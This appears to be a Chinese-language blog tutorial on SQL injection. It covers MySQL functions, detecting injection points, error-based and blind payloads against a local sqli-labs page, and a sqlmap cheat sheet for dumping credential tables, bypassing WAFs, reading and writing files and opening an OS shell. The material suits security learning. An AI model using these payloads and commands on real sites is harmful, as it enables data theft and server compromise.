SQL注入

2023-05-16

常用函数

SQL注入步骤

联合查询注入

函数与报错注入

SQL盲注

宽字节注入

sqlmap工具

常用函数

常用系统函数

基础信息函数功能
system_user()系统用户名
user()用户名
current_user()当前用户名
session_user()连接数据库的用户名
database()数据库名
version()数据库版本
@@datadir数据库路径
@@basedir数据库安装路径
@@version_compile_os操作系统
count()返回执行结果数量
sleep(s)将程序暂停s秒

相关函数演示

其他常见函数

字符处理函数功能举例
重点 concat()没有分隔符地连接字符串select concat(c1,c2) from xxx
重点 concat_ws()指定分隔符地连接字符串select concat_ws(‘:’,c1,c2) from xxx
重点 group_concat()以逗号分隔某列/组的数据select group_concat(c1,c2) from xxx
load_file()读取服务器文件select loadfile(‘/tmp/a.txt’)
into outfile写入文件到服务器select ‘xxxx’ into outfile ‘/tmp/a.txt’
ascii()字符串最左侧的ASCII代码值select ascii(‘a’)
ord()返回字符串第一个字符的ASCII值select ord(‘abc’)
char()返回ASCII值对应的字符串select char(97)
mid()返回一个字符串的一部分select mid(‘abcde’,1,1)
substr()返回一个字符串的一部分select substr(‘abcde’,1,1)
length()返回字符串的长度select length(‘abc’)
left()返回字符串最左面几个字符select left(‘mysql’,2)
floor()返回小于或等于X的最大整数select floor(5.1)
rand()返回0-1间的一个随机数select rand()
if()三目运算select if(1>2,’A’,’B’)
strcmp()比较字符串ASCII大小select strcmp(‘c’,’b’)
ifnull()参数1为不null则返回参数1,否则参数2select ifnull(null,2)

相关函数演示

Length(str)函数:返回指定字符串的长度

Ps:length里面放一个字符串,如果放置表达式的话,需要用括号括起来

Substr():返回截取的字符串

SUBSTR (str, pos)
截取从pos位置开始到最后的所有str字符串

SUBSTR (str, pos, len)

参数说明:

str为列名/字符串;

pos为起始位置;mysql中的起始位置pos是从1开始的;如果为正数,就表示从正数的位置往下截取字符串(起始坐标从1开始),反之如果起始位置pos为负数,那么 表示就从倒数第几个开始截取;

len为截取字符个数/长度。

Ascii(str):返回指定字符串最最左侧的字符的ascii的值

对于数据的导入导出需要使用如下命令查看

show variables like '%secure_file_priv%';

SQL注入步骤

确定所有可能的输入方式
Web 应用的用户输入方式比较多,其中一些用户输入方式是很明显的,如 HTML 表单;
另外,攻击者可以通过隐藏的 HTML 表单输入、HTTP 头部、cookies、甚至对用户不可见的 后端AJAX 请求来跟 Web 应用进行交互。
一般来说,所有 HTTP 的 GET 和 POST 都应当作用户输入。
为了找出一个 Web 应用所有可能的用户输入,我们可以求助于 Web 代理,如 Burp 等。

查找可以用于注入的用户输入
在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式。多多留意 Web 应用的错误页面

1.数字型注入
当输入的参数为整型时,则有可能存在数字型注入漏洞。

假设存在一条 URL 为:HTTP://www.aaa.com/test.php?id=1
可以对后台的 SQL 语句猜测为:
SELECT * FROM table WHERE id=1

判断数字型漏洞的 SQL 注入点:
① 先在输入框中输入一个单引号 ‘
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE id=1’,
不符合语法,所以该语句肯定会出错,导致脚本程序无法从数据库获取数据,从而使原来的页面出现异常。

② 在输入框中输入 and 1 = 1
SQL语句变为:
SELECT * FROM table WHERE id=1 and 1 = 1
语句正确,执行正常,返回的数据与原始请求无任何差异。

③ 在数据库中输入 and 1 = 2
SQL 语句变为:
SELECT * FROM table WHERE id=1 and 1 = 2
虽然语法正确,语句执行正常,但是逻辑错误,因为 1 = 2 为永假,所以返回数据与原始请求有差异。

如果以上三个步骤全部满足,则程序就可能存在数字型 SQL 注入漏洞。

2.字符型注入
当输入参数为字符串时,则可能存在字符型注入漏洞。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。

字符型注入最关键的是如何闭合 SQL 语句以及注释多余的代码。

假设后台的 SQL 语句如下:
SELECT * FROM table WHERE username = ‘admin’

判断字符型漏洞的 SQL 注入点:
① 还是先输入单引号 admin’ 来测试
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE username = ‘admin”。
页面异常。

② 输入:admin’ and 1 = 1 –+
注意:在 admin 后有一个单引号 ‘,用于字符串闭合,最后还有一个注释符 –(两条杠后面还有一个空格!!!)。
SQL 语句变为:
SELECT * FROM table WHERE username = ‘admin’ and 1 = 1 –+
页面显示正确。

③ 输入:admin’ and 1 = 2 –+
SQL 语句变为:
SELECT * FROM table WHERE username = ‘admin’ and 1 = 2 –+
页面错误。

满足上面三个步骤则有可能存在字符型 SQL 注入。

联合查询注入

information_schema库

 

函数与报错注入

updatexml():MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数

select updatexml(1,concat(0x7e,(select user()),0x7e),1)
#接收3个参数,第一个xml文档,第二个xpath语句,第三个字符串
#1 爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
#2 爆数据库当前用户
k' and  updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) #
#3 爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
#4 爆表名
## 反馈回的错误表示只能显示一行,所以采用limit来一行一行显示
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),0) #
#5 爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) #
#6 爆字段内容
k' and  updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) #

盲注

布尔盲注原理

只返回布尔值的sql注入漏洞,通过构造语句,来判断数据库信息的正确性,再通过页面反回的布尔值,来判断正确与否

时间盲注原理

语句执行后,不回显,不报错,不提示真假的sql注入漏洞。可以通过构造语句,通过条件语句判断,为真则立即执行,否则延时执行

实例

判断闭合函数:

通过如下sleep函数可知闭合函数是单引号’ ’

http://localhost/sqli/Less-8/?id=1' and sleep(5) --+

求当前数据库长度:

http://localhost/sqli/Less-8/?id=1' and length(database())>2  --+

判断数据库名长度大于2

求当前数据库对应的ascii码:

http://localhost/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))>100  --+

判断当前数据库名第一个字符的ascii码大于100

求表的数量:

http://localhost/sqli/Less-8/?id=1' and  (select count(table_name) from information_schema.tables  where table_schema='security')>1     --+

判断表的数量大于1

求表名的长度:

http://localhost/sqli/Less-8/?id=1′ and  length((select  table_name  from information_schema.tables  where table_schema=’security’ limit 0,1))>2     –+

判断第一个表名的长度大于2

判断表名:

首先判断第一个表的表名

http://localhost/sqli/Less-8/?id=1′ and  ascii(substr((select  table_name  from information_schema.tables  where table_schema=’security’ limit 0,1),1,1))>100    –+

判断第一个表的第一个字符的ascii大于100

宽字节注入

条件:1.数据库采用GDK字符集

      2.网站将引号转义为反斜杠加引号

原因:GBK双字节编码中用两个字节表示一个汉字

      首字节范围:0x81-0xFE

      尾字节范围:0x40-0xFE(除0x7F)

      反斜杠(\)对应编码为0x5c

SQLmap工具

sqlmap支持五种不同的注入模式:

基于布尔的盲注:可以根据返回页面判断条件真假的注入;
基于时间的盲注:用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
基于报错的注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
联合查询的注入:可以使用union的情况下的注入;
堆叠查询的注入:可以同时执行多条语句的执行时的注入。

常用sqlmap参数:

-D 数据库名    -T 数据库表名     -C 数据库列名     -U 数据库用户名
-D 数据库名 --tables    #获取D数据库中所有的表名
-D 数据库名 -T 表名 --columns    #获取D数据库中T表里所有的列名
-T 表名 -C username,password --dump   #下载T表里username,password列的数据内容

-u   #-u=--url=URL ,指定url地址,get请求可以在url加上相关参数
-r   #指定加载文件 ,适用于所有的请求和https。 流程是抓包、保存到文件、从文件加载HTTP请求;方便跳过设置一些其他参数(cookie,POST等)
-p   #指定用url或文件中的哪个参数做注入参数
-m   #读取文件中的url列表以批量测试
--date    #post方式传入参数 --date "id=6&pwd=15678"
--dbs     #显示所有的数据库
--current-user #获取当前数据库用户
--current-db   #获取网站当前数据库
--is-dba  #判断当前的用户是否为管理员
--users   #获取所有数据库用户
--level   #测试的等级(1-5,默1),数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。
--risk    #测试的风险(0-3,默1),1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
--threads #同时执行测试的线程数
--mobile  #模拟测试手机环境站点
--batch -smart  #不需要人确定,自动填写yes
--batch -smart  #全自动化判断测试,不需要人确定
--os-shell   #获取系统交互的shell
--tamper "  "    #sqlmap绕过waf,需要加载绕过方式脚本,可多个
--passwords  #尝试解码出hash密码原文
-v   #输出信息级别: 0-6 ,
     “0”只显示python错误以及严重的信息;
     1同时显示基本信息和警告信息(默认);
     “2”同时显示debug信息;
     “3”同时显示注入的payload;
     “4”同时显示HTTP请求;
     “5”同时显示HTTP响应头;
     “6”同时显示HTTP响应页面;
     如果想看到sqlmap发送的测试payload最好的等级就是3。

--file-read  #读取服务器上指定文件内容 --file-read "C:/example.exe"
--file-write #上传本地文件 --file-write "c:/1.txt" --file-dest "C:/php/sql.php"
--file-dest  #上传到服务器指定目录

一般的SQLMap操作流程:

# 1.通过手工检测的方式,找到合适的注入点
payload:'         #返回错误
payload:and 1=1   #返回正常
payload:and 1=2   #返回错误
##满足以上条件即存在注入

# 2.检查注入点:
sqlmap -u "http://xxx:88/product.php?cid=2" --batch --level3

# 3.爆所有数据库信息:
sqlmap -u "http://xxx:88/product.php?cid=2" --batch --dbs 

# 4.爆当前数据库信息,爆当前用户权限。
sqlmap -u "http://xxx:88/product.php?cid=2"  --batch --current-db --is-dba

# 5.指定库名列出所有表:
sqlmap -u "http://xxx:88/product.php?cid=2"  --batch -D security --tables 

# 6.指定库名表名列出所有字段:
sqlmap -u "http://xxx:88/product.php?cid=2"  --batch -D security -T admin --column 

# 7.指定库名表名字段dump出指定字段:
sqlmap -u "http://xxx:88/product.php?cid=2"  --batch -D security -T admin -C name,pswd --dump 

# 8.加载脚本绕过防火墙
sqlmap -u "http://xxx:88/product.php?cid=2"  --tamper randomcase.py

# 9.爆当前的用户名称
sqlmap -u "http://xxx:88/product.php?cid=2"  --current-user

# 10.爆当前用户密码
sqlmap -u "http://xxx:88/product.php?cid=2"  --passwods

# 11.连接系统交互shell
sqlmap -u "http://xxx:88/product.php?cid=2"  --os-shell
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入 的相关文章

  • 让 Prometheus 发送 SQL 查询

    我正在尝试使用普罗米修斯 https prometheus io 监视我的 MySQL 数据库 但似乎找不到添加 SQL 查询的区域 例如 我想运行一个返回值的 SQL 查询 然后将该值添加到图表中 发送警报 有没有办法让 Promethe
  • SQLSTATE[HY000] [2002] 资源暂时不可用 - mysql - innodb 和 pdo

    在我的错误日志中得到大量结果 如下所列 数据库中的所有表都是 innodb 并且就与这些表的任何交互而言 一切都是带有准备好的语句的 pdo 正如我所说 所有错误几乎与下面列出的错误相同 但发生在几个不同的页面上 无论页面如何 错误行始终指
  • SQL 插入失败 - 违反主键约束

    我在 SQL Insert 语句中看到一个非常奇怪的问题 我有一个简单的表 带有一个 ID 和 2 个日期时间 请参阅下面的创建脚本 CREATE TABLE dbo DATA POPULATION LOGS ID int IDENTITY
  • 当我输入 dateadd 或 datediff 代码时,我总是收到此错误“ORA-00904“DATEADD”无效标识符。”

    我有一个大学项目 并且有一个包含入院和出院日期属性的患者表 我需要删除超过 7 年的记录 我使用了以下代码 delete from patient where dis date gt datedadd yy 7 getdate 我收到错误
  • 按两列的最小值排序

    I use SQL Server 2008 R2 我需要按两列的最小值对表进行排序 该表如下所示 ID integer Date1 datetime Date2 datetime 我希望我的数据按至少两个日期排序 以这种方式对该表进行排序的
  • 将此 MySQL 查询转换为 PyGreSQL

    我正在开发一个 Ruby 应用程序 它使用 mysql 函数 XOR 和 BIT COUNT 不过 我现在需要在运行 PyGreSQL 的 Heroku 上运行该应用程序 我找不到任何可以帮助我的 PyGreSQL 文档 那么任何人都可以翻
  • MySQL 中的 group_concat 性能问题

    我添加了一个group concat到一个查询并杀死了性能 添加之前和之后的解释计划是相同的 所以我对如何优化它感到困惑 这是查询的简化版本 SELECT curRow curRow 1 AS row number docID docTyp
  • 计算树中值的总和(递归查询)

    我在表员工 id name parentid 中有树结构 并且该表可以嵌套 employees 与另一个具有列 id employeeid quantity 的 Sales 表是一对多关系 每个员工都有销售数量 我想计算每个员工以及儿童员工
  • 如何在SqlAlchemy中执行“左外连接”

    我需要执行这个查询 select field11 field12 from Table 1 t1 left outer join Table 2 t2 ON t2 tbl1 id t1 tbl1 id where t2 tbl2 id is
  • 在 SQL Server SELECT 语句中使用 CASE 时消除 NULL

    我有一份大而混乱的报告要写 它连接了 5 个表 一个表中有一列用于多个不同的值 本质上是一个 标签 列 其中标签根据用户想要使用的各种元数据的类型以创造性的方式使用 因此 我对报告的查询返回 3 个几乎相同的行 仅 标签 列有所不同 例如
  • MySql 复合索引

    我们使用 MySql 作为我们的数据库 以下查询在 mysql 表 大约 2500 万条记录 上运行 我在这里粘贴了两个查询 查询运行得太慢 我想知道更好的复合索引是否可以改善这种情况 你知道最好的综合指数是什么吗 并建议我这些查询是否需要
  • 执行存储过程时 ExecuteNonQuery() 返回 -1

    我正在尝试在 Visual Studio 中执行存储过程 下面给出 CREATE PROCEDURE dbo addStudent stuName varchar 50 address varchar 100 tel varchar 15
  • 如何限制mySQL中的搜索和替换字符串

    我用它来搜索和替换 mySQL 中的字符串 UPDATE products SET prodname REPLACE prodname S S 这些产品包含诸如 TYLENOL TABS 100 S 之类的字符串 我想将其转换为 TYLEN
  • 如何在此查询中获取以 KM 为单位的距离

    salons Salon select salons gt selectRaw 6371 acos cos radians cos radians lat cos radians lng radians sin radians sin ra
  • 使用输出在合并语句中设置变量

    我有一个合并语句应该始终更新或插入一条记录 我想记住变量中该语句的 ID 它看起来像这样 DECLARE int int MERGE dbo table AS A USING SELECT stringtomatch AS string A
  • MYSQL 中当前行上日期之前(并包括该日期)的所有行的总和

    重要的是要知道在查询期间日期是未知的 因此我不能只硬编码 WHERE 子句 这是我的桌子 Date ID Customer Order Count 20150101 Jones 6 20150102 Jones 4 20150103 Jon
  • SQL最近的命令?微软SQL

    我只是编写一个查询来查看我的客户数据库并列出他们下了多少订单等 我正在努力添加到此查询中的是只显示该电子邮件的最新 OrderID 有任何想法吗 这是我的查询 select top 1000 BuyerEMail COUNT HowMany
  • 有没有一种简单的方法来获取 .NET 为参数化查询生成的“sp_executesql”查询?

    背景 如果我有以下程序 public class Program public static void Main using var connection new SqlConnection Server local Database Te
  • 如何使用默认约束为mysql中的列创建随机数?

    DEFAULT 约束在接受字符串或当前日期值方面没有问题 我需要的是一个约束 每次创建实体时都会创建一个随机的 4 位数字 我尝试了以下代码 但它返回语法错误 ALTER TABLE client number ADD 代码 INT 4 D
  • SQL查询中的Python列表作为参数[重复]

    这个问题在这里已经有答案了 我有一个 Python 列表 比如说 l 1 5 8 我想编写一个 SQL 查询来获取列表中所有元素的数据 例如 select name from students where id IN THE LIST l

随机推荐

  • 酒店管理系统-需求分析报告

    目录 1 引言 1 1编制的目的 1 2术语定义 1 3参考资料 1 4相关文档 2 概述 2 1项目的描述 2 2项目的功能 2 3用户特点 3 具体需求 3 1业务需求 3 1 1主要业务 3 1 2未来增长预测 3 2用户需求 3 3
  • 酒店管理系统-概要设计报告

    目录 1 引言 1 1编制的目的 1 2项目背景 1 3术语定义 1 4参考资料 1 5相关文档 2 总体设计 2 1项目的描述 2 2项目的功能 2 3概念设计和处理流程 2 4系统总体结构设计 2 5系统各功能模块详细说明 2 5 1住
  • 解决 Cannot find module‘[object Object]‘报错问题

    报错信息 xff1a 不可以找到一个module 模块 js中的模块大致与require挂钩 xff0c 可以查看是否有地方错误引用了文件或错误使用了require 修改后即可解决问题
  • Jmeter性能测试(3)---SOAP/XML-RPC Request

    jmeter xff08 三 xff09 SOAP XML RPC Request 项目背景 xff1a 公司的微信端H5界面新开发了会员注册功能 xff0c 需要对其进行压力测试 项目目标 xff1a 需要承受每分钟最少6000的压力 一
  • Pycharm 之Scipy聚类色彩

    一 利用第三方库Scipy聚类 1 可以在jupyter notebook里先尝试一下scipy的功能 聚类的思想为初始先确定均值 xff0c 分类 xff0c 其次计算每组的平均值 xff0c 再次进行分类 xff0c 反复进行使得结果更
  • TM4C123系列(一)————GPIO

    电赛准备搞飞机 xff0c 特地学了下TM4 xff0c 准备用TM4搞飞控 一 实验介绍 点亮TM4C123板载LED 二 原理图 三 所需函数 1 SysCtlClockSet uint32 t ui32Config 参数 xff1a
  • TM4C123系列(三)————PWM输出

    一 实验介绍 使用PWM控制板载LED绿灯与蓝灯交替呼吸闪烁 二 PWM介绍 TM4C123有两个PWM模块 xff0c 每个模块有四个发生器和一个控制模块 xff0c 每个发生器可以产生两路PWM输出 xff0c 一共可以输出16路PWM
  • STM32与K210串口通信的解码问题(基于正点原子源码)

    这次电赛做的声源定位 xff0c 用的麦克风阵列加k210采集声音 xff0c k210需要将数据传送stm32 xff0c 在这里涉及到一个解码问题 xff0c 这个解码是我在之前用stm32与其他设备串口通信中从来没有遇到过的 xff0
  • 【数据结构与算法】数据结构

    数据结构 1 基本概念和术语2 逻辑结构与物理结构3 抽象数据类型 1 基本概念和术语 数据 xff1a 是描述客观事物的符号 xff0c 是计算机中可以操作的对象 xff0c 是能被计算机识别 xff0c 并输入给计算机处理的符号集合 数
  • requests库在爬虫中最常用方法简析

    requests 前言一 安装二 使用方法1 引入库2 发起请求3 获取数据4 其他 三 简单示例总结 前言 requests是基于urlib3的用于发起http请求的python第三方库 xff0c 使用方便 xff0c 响应快速 一 安
  • 爬取英语六级高频词

    文章目录 任务一 指定url二 发起请求并获取响应数据三 对响应数据进行数据解析四 持久化存储总结 任务 将网站中所有英语六级高频词以及翻译获取 xff0c 然后进行存储 一 指定url 网站中单词被分开存放在1 7页中 第1页的url x
  • 基于tkinter的第一个GUI小项目:背英语六级单词软件

    文章目录 任务1 引入库2 读入数据3 打开窗口4 初始化5 放置标签和按钮6 按钮事件7 演示 任务 基于爬取到的英语六级高频词 xff0c 利用python中的tkinter做出一个能起到考察词汇掌握情况作用的GUI 1 引入库 spa
  • Linux 6.1/6.2发布新补丁:缓解AMD处理器fTPM间歇性卡顿问题

    导读早些时候 xff0c AMD承认 xff0c 在Linux系统中开启AMD锐龙处理器的fTPM xff0c 将可能导致系统出现间歇性的卡顿 死机等情况 据悉 xff0c 该Bug在Linux 6 1内核中表现得最为明显 xff0c 这是
  • RHCE. Stratis 管理分层存储

    通过Stratis xff0c 便捷的使用精简配置 xff08 thin provisioning xff09 xff0c 快照 xff08 snapshots xff09 和基于池 xff08 pool based xff09 的管理和监
  • Jmeter性能测试(5)--JDBC Request

    jmeter xff08 五 xff09 JDBC Request jmeter中取样器 xff08 Sampler xff09 是与服务器进行交互的单元 一个取样器通常进行三部分的工作 xff1a 向服务器发送请求 xff0c 记录服务器
  • jQuery获取或设置元素的属性值prop/attr

    获取元素的属性值 固有属性 39 div prop color 自定义属性 39 div attr index html代码 lt a href 61 34 www baidu com 34 title 61 34 百度 34 gt 百度
  • Aop小案例

    AOP小案例 AOP Aspect Oriented Programming 面向切面编程 00P Object Oriented Programming 面向对象编程 xff0c 用对象化的思想来完成程序 AOP是对0OP的一个补充 xf
  • 详细介绍在ubuntu20.04如何安装ROS系统,附常见错误的解决办法

    为保证在安装的过程中配置无误 xff0c 建议先打开软件与更新的界面 xff0c 检查框出的选项是否打上了 检查完成后 xff0c 就可以开始安装啦 xff01 1 添加ROS软件源 将以下两个命令任意选择一个复制到ubuntu的终端执行
  • ROS1学习笔记:创建工作环境与功能包(ubuntu20.04)

    参考B站古月居ROS入门21讲 xff1a 创建工作环境与功能包 基于VMware Ubuntu 20 04 Noetic版本的环境 文章目录 一 工作空间介绍二 创建工作空间2 1 创建工作空间2 2 编译空代码的工作空间2 3 设置和检
  • SQL注入

    常用函数 SQL注入步骤 联合查询注入 函数与报错注入 SQL盲注 宽字节注入 sqlmap工具 常用函数 常用系统函数 基础信息函数功能system user 系统用户名user 用户名current user 当前用户名session